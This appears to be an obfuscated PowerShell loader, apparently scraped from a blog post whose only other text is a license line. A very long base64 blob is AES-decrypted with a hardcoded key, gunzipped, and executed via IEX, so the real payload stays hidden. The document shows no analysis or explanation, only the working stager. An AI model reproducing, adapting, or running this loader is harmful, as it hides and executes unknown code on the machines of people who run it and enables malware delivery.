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")
$mywfquy = New-Object "System.Security.Cryptography.AesManaged"
$avgrx = [System.Convert]::FromBase64String("byVw8FE5AsVGx01cWMAkNje1UmtQoKEccaBUc/Wm/VE=")
$mywfquy.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$mywfquy.Mode = [System.Security.Cryptography.CipherMode]::ECB
$mywfquy.BlockSize = 128
$mywfquy.IV = $agdqjzn[0..15]
$mywfquy.KeySize = 256
$mywfquy.Key = $avgrx
$eeck = New-Object System.IO.MemoryStream
$gvft = New-Object System.IO.MemoryStream(,$mywfquy.CreateDecryptor().TransformFinalBlock($agdqjzn,16,$agdqjzn.Length-16))
$bjmjws = New-Object System.IO.Compression.GzipStream $gvft, ([IO.Compression.CompressionMode]::Decompress)
$bjmjws.CopyTo($eeck)
$gvft.Close()
$mywfquy.Dispose()
$sfxtpk = [System.Text.Encoding]::UTF8.GetString($eeck.ToArray())
$bjmjws.Close()
IEX($sfxtpk)
This post is licensed under CC BY 4.0 by the author.